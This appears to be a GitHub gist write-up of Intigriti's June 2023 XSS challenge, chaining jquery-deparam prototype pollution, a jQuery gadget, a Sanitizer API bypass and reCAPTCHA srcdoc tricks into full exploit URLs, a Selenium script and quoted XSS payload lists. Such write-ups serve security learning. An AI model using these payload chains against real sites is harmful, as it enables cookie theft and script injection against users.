Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active July 1, 2023 09:02
Show Gist options
  • Save Siss3l/ad6aff55dfca9341a95d2af63ad73ec3 to your computer and use it in GitHub Desktop.
Save Siss3l/ad6aff55dfca9341a95d2af63ad73ec3 to your computer and use it in GitHub Desktop.
Intigriti's June 2023 XSS web challenge thanks to @0xGodson_

Intigriti June Challenge

  • Category: Web
  • Impact: Medium
  • Solves: ~50

Chall

Description

Find a way to execute arbitrary javascript code on the challenge page.

The solution:

  • Should require no user interaction.
  • Should execute alert(document.cookie).
  • Should work on the latest version of Chrome (or Firefox).
  • Should leverage a cross site scripting vulnerability on this domain.
  • Shouldn't be self-XSS or related to Man-in-the-middle.

Overview

So this month, we have at our disposal a web page that lets us write anything in an input tag and once clicked on the Submit button will be displayed in a modal alert.

The aim is to display an alert(document.cookie) with the text Flag=flag{XSS} defined in it (knowing that there isn't any Content Security Policy in place).

Henceforth, with our best motivational playlist music, let's go to the index.html page to start our research where we will explore simple and more complex solutions on Chrome and Firefox browsers:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="./static/tailwind.min.css" rel="stylesheet">
    <script src="./static/jquery-2.2.4.js"></script>
    <script src="./static/jquery-deparam.js"></script>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background: url("./static/pattern.svg") #E7E8F0;
            background-size: 200px;
            background-position: center center;
            color: #333;
            text-align: center;
            font-family: 'Poppins', sans-serif;
            margin: 0;
            padding: 20px 0 0;
        }

        .input-container {
            display: flex;
            flex-direction: column;
            align-items: center;
        }

        .input-container input {
            margin-bottom: 8px;
        }

        /* Modal styles */
        .modal {
            position: fixed;
            top: 0;
            left: 0;
            z-index: 9999;
            display: none;
            justify-content: center;
            align-items: center;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
        }

        .modal-content {
            background-color: #fff;
            border-radius: 8px;
            padding: 20px;
            max-width: 400px;
            text-align: center;
        }
    </style>
    <title>XSS</title>
    <script defer>
        document.cookie = 'Flag=flag{XSS};secure' // alert the document.cookie to win the game

        // recaptcha is still under development; soon it will be implemented on the live site
        if (document.domain === 'challenge-0623.intigriti.io') {
            window.recaptcha = false
        }
        if (document.domain === 'localhost') {
            window.recaptcha = true
        }
        window.name = null;
        window.params = $.deparam(location.search.slice(1))
        function handleSubmit() {
            const nameInput = document.getElementById('nameInput');
            const name = nameInput.value;
            const url = `?name=${encodeURIComponent(name)}`;
            window.location.href = url;
        }

        // Function to close the modal
        function closeModal() {
            const modal = document.getElementById('modal');
            modal.style.display = 'none';
        }

        window.addEventListener('DOMContentLoaded', () => {
            name = window.params.name;
            if (name && name !== 'undefined' && name !== undefined) {
                const modal = document.getElementById('modal');
                modal.style.display = 'flex';
                const modalContent = document.getElementById('modalContent');
                // recaptcha is still under development
                if (window.recaptcha) {
                    const script = document.createElement('script');
                    script.src = 'https://www.google.com/recaptcha/api.js';
                    script.async = true;
                    script.defer = true;
                    document.head.appendChild(script);
                }
                try {
                    modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS
                } catch {
                    modalContent.textContent = name + " 👋";
                }
            }
        });
    </script>
</head>
<body>
    <div class="container mx-auto py-10">
        <h1 class="text-3xl font-semibold mb-4">Hey 👋</h1>
        <div class="input-container">
            <input id="nameInput" type="text" placeholder="Enter your name"
                class="px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:border-blue-500">
            <button id="submitBtn" onclick="handleSubmit()"
                class="ml-4 px-4 py-2 bg-blue-500 text-white font-semibold rounded-lg shadow hover:bg-blue-600">Submit</button>
        </div>
    </div>
    <!-- Modal -->
    <div id="modal" class="modal">
        <div class="modal-content">
            <h2 class="text-xl font-semibold mb-4">Welcome!</h2>
            <p id="modalContent" class="text-lg">Heckur</p>
            <button onclick="closeModal()"
                class="mt-6 px-4 py-2 bg-blue-500 text-white font-semibold rounded-lg shadow hover:bg-blue-600">Close</button>
        </div>
    </div>
</body>
</html>

Right from the start we could notice an old 2.2.4 version of jquery used in script tag, next to the jquery-deparam package that is fairly known for its prototype pollution attack vectors.

The prototype pollution is a vulnerability which could add arbitrary properties to global object prototypes and may then be inherited by user-defined objects.

Snyk Report

There are some bugs in this challenge, so we need to find and chain them together to get the alert. We will focus on the <script defer> element for the rest of the operations, since the rest could be unintended.

The defer attribute indicate that the script is meant to be executed after the document has been parsed, but before firing DOMContentLoaded.

<script defer>
    document.cookie = 'Flag=flag{XSS};secure';
    
    if (document.domain === 'challenge-0623.intigriti.io') { // There is a `dot` trick here
        window.recaptcha = false;
    }

    if (document.domain === 'localhost') {
        window.recaptcha = true; // Could change domain names to test locally with `python -m http.server 8000` command in a terminal
    }

    window.name = null; // Clearing any previously set window `name` here
    window.params = $.deparam(location.search.slice(1)); // Possible prototype pollution

    function handleSubmit() { // Function to set the new location
        const nameInput = document.getElementById('nameInput');
        const name = nameInput.value;
        const url = `?name=${encodeURIComponent(name)}`;
        window.location.href = url;
    }

    function closeModal() { // Function to close the modal
        const modal = document.getElementById('modal');
        modal.style.display = 'none';
    }

    window.addEventListener('DOMContentLoaded', () => {
        /* This event fires when the document has been completely parsed and all deferred scripts have downloaded/executed */
        name = window.params.name; // Practical
        if (name && name !== 'undefined' && name !== undefined) {
            const modal = document.getElementById('modal');
            modal.style.display = 'flex';
            const modalContent  = document.getElementById('modalContent'); // recaptcha is still under development
            if (window.recaptcha) { // The `if` condition is valid when `recaptcha` variable exists
                const script = document.createElement('script');
                script.src   = 'https://www.google.com/recaptcha/api.js';
                script.async = true; script.defer = true;
                document.head.appendChild(script); // Same as last month's XSS challenge
            }
            try {
                modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS, or is there?
            } catch { modalContent.textContent = name + " 👋"; }
        }
    });
</script>

The setHTML() method is used to parse and sanitize a string of HTML and then insert it into the DOM as a subtree of the element.

For the HTML sanitizer part, we can check that the configuration is set to the default one, therefore we can't perform XSS directly unless we find zero-day (unknown vulnerability) bypass:

> new Sanitizer({}).getConfiguration();
{allowAttributes: {defer: ['*'], form: ['*'], id: ['*'], ...}, allowCustomElements: false,
allowElements: ['h2', 'style', 'form', ...], allowUnknownMarkup: false}

Recon

We quibble a bit with the input tag and quickly view that there is some DOM clobbering. To put it simply, it is a technique in which we inject HTML into a page to manipulate the Document Object Model.

If we try the payload <form name=xss> we can find it exists in the window object!

> window.xss
<form name="xss"> 👋</form>

We realize that we can't add <img>, <form>, <embed>, <dialog>, ... compromised tags as easily as that. Test

By re-reading the web page source code and testing in the URL of the challenge, we see that we do have some pollution. As with the URL index.html?__proto__[name]=xss (like index.html?name=xss) it shows as:

> Object.prototype.name
'xss'

Solution 1

Doing some online research reveals a wealth of cases on prototype pollution subject, we could then try the first jquery gadget proof-of-concept we come across:

POC

https://challenge-0623.intigriti.io/challenge/index.html?__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=%3Cimg/src/onerror%3dalert(document.cookie)%3E

<script>
  Object.prototype.preventDefault='x';
  Object.prototype.handleObj='x';
  Object.prototype.delegateTarget='<img/src/onerror=alert(document.cookie)>';
  $(document).off('foobar'); // No extra code needed for jQuery 2
</script>

The $(x).off code removes the event handler and after that makes the alert pops (due to jquery and deparam presence) in this piece of code, which is responsible of the gadget:

Gadget

off: function(types, selector, fn) {
    var handleObj, type;
    if (types && types.preventDefault && types.handleObj) {
        handleObj = types.handleObj;
        jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
        return this;
    } // ...
}

What's interesting here is that the payload works on both Chrome and Firefox browsers.

Automation

We can automate the attack process with a nice Python script:

def xss(driver:object, url:str, poc:str) -> None:
    driver.get(url + poc)  # Go to the specific page
    alert = driver.switch_to.alert  # Retrieves the text of the alert box
    if "Flag=flag{XSS}" in alert.text: print(alert.text)  # Shows the text of the cookie
    driver.quit()  # Close the web browser


url = "https://challenge-0623.intigriti.io/challenge/index.html"  # "http://localhost:8000/challenge/index.html"
poc = "?__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=<img/src/onerror%3Dalert(document.cookie)>"
try:
    xss(__import__("selenium.webdriver").webdriver.Firefox(), url, poc)  # To run a pre-installed Firefox web browser within Selenium
    xss(__import__("selenium.webdriver").webdriver.Chrome(),  url, poc)  # To run a pre-installed Chrome  web browser within Selenium
except Exception as err:
    print(err); pass

Firefox

And voilà!

Solution 2

According to the context that we should execute alert(document.cookie) on the latest Chrome and assuming we haven't seen BlackFan's gadgets on Github, we could always continue our research based on the comment in the page source code indicating that recaptcha is still under development instead.

When we also look around at the Write-Up of Aszx87410, we can see an interesting thing about reCaptcha usage:

Notes

The challenge uses Google reCAPTCHA and from their documentations we know that we can trigger a function call by injecting the following HTML:
<div
  class="g-recaptcha"
  data-sitekey="AAA"
  data-error-callback="any_function_here"
  data-size="invisible">
</div>

Therefore, we ask ourself (or to some chatGPT) if we could potentially add that div element with the g-recaptcha class, in some ways or variants?

Since we have good memory, we remember that we could bypass the HTML sanitizer with prototype pollution to allow us to get this so-called injection.

Sad

Notice that the data-sitekey attribute is filtered after all and that you need to allow JavaScript dependencies to run (on slow connection too), as some plugins may block them.

index.html?name=<div/class=g-recaptcha data-sitekey=0>

Don't forget to URL encode (with CyberChef) the characters in our payload:

index.html?name=<div/class%3Dg-recaptcha%20data-sitekey%3D0>

> modalContent
<p id="modalContent" class="text-lg">
  <div class="g-recaptcha"> 👋</div>
</p>

In-depth

Reading other articles to overcome this filtering problem, we come across the PortSwigger blog who discusses about this bug issue:

Sanitizer API bypass

Client-side prototype pollution seems to me a more common issues that we might have previously assumed (check: https://blog.s1r1us.ninja/research/PP).
I decided to check whether prototype pollution can be abused to bypass Sanitizer API. Turns out it can!
Here's a proof of concept:
    <!doctype html>
    <script>
      Object.prototype.allowElements = ['svg:svg','svg:use']; // We're simulating prototype pollution here
    </script>
    <body>
    <script>
      const s = new Sanitizer({}); // We assume that this is the original JavaScript of a website
      const sanitized = s.sanitizeFor("div",`<svg><use href="data:image/svg%2Bxml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8%2BCjwvc3ZnPg#x"/></svg>`);
      document.body.replaceChildren(sanitized); // alert executes!
    </script>
Please note that the issue doesn't happen if no parameter is passed to the constructor (that is: "new Sanitizer()").
However, when the configuration object is passed to the constructor (as in: "new Sanitizer({})") then the prototype chain is traversed, and it can affect the sanitization.
In the proof-of-concept I'm adding <svg> and <use> to list of allowed elements and execute my own javascript.

And according to the documentation on the Sanitizer here:

WICG

The Sanitizer's configuration dictionary is a dictionary which describes modifications to the sanitize operation.
If a Sanitizer has not received an explicit config, for example when being constructed without any parameters, then the default config value is used as the configuration dictionary.

dictionary SanitizerConfig {
  sequence<DOMString> allowElements;
  sequence<DOMString> blockElements;
  sequence<DOMString> dropElements;
  AttributeMatchList allowAttributes;
  AttributeMatchList dropAttributes;
  boolean allowCustomElements;
  boolean allowUnknownMarkup;
  boolean allowComments;
};

Note that if we change the default configuration of the sanitizer, we'll have to modify everything else accordingly.

  • allowElements element allow list is a sequence of strings with elements that the sanitizer should retain in the input;
  • allowAttributes attribute allow list is an attribute match list, which determines whether an attribute (on a given element) should be allowed;
  • allowUnknownMarkup allow unknown markup option determines whether unknown HTML elements are to be considered. The default is to drop them.

We hasten to try it in the index page with some tweaking to:

  • allow the div element, with __proto__[allowElements][0]=div code;
  • allow the class (of g-recaptcha) on div, with __proto__[allowAttributes][class][0]=div code set to div (or * character);
  • allow the data-sitekey attribute, with __proto__[allowAttributes][data-sitekey][]=div code set to div (or * character);
  • avoid errors like Missing required parameters: sitekey, with __proto__[allowUnknownMarkup]=0 code set to zero (or anything else).

Reappraisal

We do have the div class interpreted but for the rest to work, the recaptcha variable should not be initialized whatsoever.

Tips

Adding the dot to the end of the domain name makes it an absolute fully-qualified domain name instead of just a regular fully-qualified domain name, and most browsers treat absolute domain names as being a different domain from the equivalent regular domain name.

We can then block the initialization of recaptcha variable with a dot at the end of our URL domain as challenge-0623.intigriti.io. (or localhost.) indeed!

> document.domain;
'challenge-0623.intigriti.io.'
if (document.domain === 'challenge-0623.intigriti.io') {
    window.recaptcha = false;
}
> window.recaptcha;
undefined

Then we will use __proto__[recaptcha] for the appendChild method (that adds a node to the end of the list of children of a specified parent node) to be performed!

We are then delighted to see an additional div element (next to the reCAPTCHA iframe) being loaded, followed by an empty iframe element:

<p id="modalContent" class="text-lg">
  <div style="width: 304px; height: 78px;">
    <div>
      <iframe title="reCAPTCHA" src="https://www.google.com/recaptcha/api2/anchor?ar=1&amp;k=0&amp;co=..&amp;hl=en&amp;v=..&amp;size=normal&amp;recaptcha=1&amp;allowElements=div&amp;allowAttributes=%5Bobject%20Object%5D&amp;allowUnknownMarkup=0&amp;cb=.." width="304" height="78" role="presentation" name="a-.." frameborder="0" scrolling="no" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox"></iframe>
    </div>
    <textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
  </div>
  <iframe style="display: none;">
    <html>
      <head></head>
      <body></body>
    </html>
  </iframe>
</p>

We're again dealing with ERROR for site owner: Invalid site key for the moment but we can see that our parameters (allowElements=div, allowUnknownMarkup=0, etc.) are well supplied in the https://www.google.com/recaptcha/api2/anchor url of reCAPTCHA iframe.

Fine

Digging into Terjanq's blog and one of the websec HackTricks/PayloadsAllTheThings bibles, we're thinking of adding a src (or else) attribute to see what it does to achieve our alert goals:

Google

From the documentation, we can read that api.js file allows three parameters to be provided:
  Parameter  Value               Description
- onload                         Optional. The name of your callback function to be executed once all the dependencies have loaded;
- render     Explicit onload     Optional. Whether to render the widget explicitly. Defaults to onload, which will render the widget in the first g-recaptcha tag it finds;
- hl         See language codes  Optional. Forces the widget to render in a specific language. Auto-detects the user’s language if unspecified.
When visiting the "https://www.google.com/recaptcha/api.js?render=explicit" URL.

HackTricks

Iframes in XSS
There are 3 ways to indicate the content of an iframed page:
- Via src indicating an URL (the URL may be cross origin or same origin);
- Via src indicating the content using the data: protocol;
- Via srcdoc indicating the content.
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

PayloadsAllTheThings

XSS in SVG (short)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

Data

Testing

We therefore add the src attribute (of the svg test case from the previous Chromium bug issue read) with few adjustments but causing at best the something went wrong or error response (other than trusted-types) problems.

So we need to get the sanitizer as:

> new Sanitizer({}).getConfiguration()
{allowAttributes: {class: ['div'], data-sitekey: ['div']}, allowElements: ['div'], allowUnknownMarkup: true}

You may encounter some errors such as Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs." so in this case, just use the good old payload <script>alert(document.cookie)</script> to avoid it, but do not hesitate to report any mistakes.

Src

We then try __proto__[srcdoc] on Chrome and the code loads nicely as our final solution:

https://challenge-0623.intigriti.io./challenge/index.html?name=%3Cdiv%20class%3Dg-recaptcha%20data-sitekey%3D0%3E&__proto__[srcdoc]=%3Csvg%3E%3Cuse%20href%3Ddata:image/svg%2Bxml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoZG9jdW1lbnQuY29va2llKSIgLz4KPC9zdmc%23x%3E%3C/svg%3E&__proto__[recaptcha]=0&__proto__[allowElements][0]=div&__proto__[allowAttributes][class][0]=div&__proto__[allowAttributes][data-sitekey][]=div&__proto__[allowUnknownMarkup]=0

Kronk

Solution 2 Bis

Because an iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing, without going into too much detail since it's redundant with other solutions, we could take a look at this CSPlite article:

CSP

Content Security Policy to protect from client side prototype pollution XSS attack
CSP-headers:
Content-Security-Policy: frame-src www.google.com/recaptcha/; script-src 'unsafe-inline' www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; report-uri /tst/csp.php?hash=221ebced0c9135106a77457699ac3242
Test HTML code:
<script src="//www.google.com/recaptcha/api.js?render=6LfalNcZAAAAAAse0ViYcBmcnq9kt_2MMsmazL4k"></script>
<script>
  Object.prototype.srcdoc=["<script data-nononce>alert(1)<\/script>"];
</script>

So we use the render parameter (as in the Terjanq's blog), a dot in the end of the domain name, some URL encoding, a non-empty name variable and the srcdoc attribute to make it work properly:

https://challenge-0623.intigriti.io./challenge/index.html?__proto__[name]=0&__proto__[recaptcha]=0&__proto__[render][0]=0&__proto__[srcdoc]=%3Cscript%3Ealert(document.cookie);%3C/script%3E

Chromium

Defense

Improved approaches can help avoid this kind of problems, such as:

  • don't drinking too much Club-Mate;
  • updating dependencies regularly;
  • using modern technologies, frequently audited;
  • setting up sanitizer (configuration) correctly;
  • taking into account the risks of prototype pollution;
  • performing integrity checking with some monitoring;
  • setting up non-permissive Content Security Policy (added layer of security that helps to detect and mitigate cross-site scripting).

Appendix

It was a very fun challenge that gives us good situational reminders, thanks to @0xGodson_ ideas!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment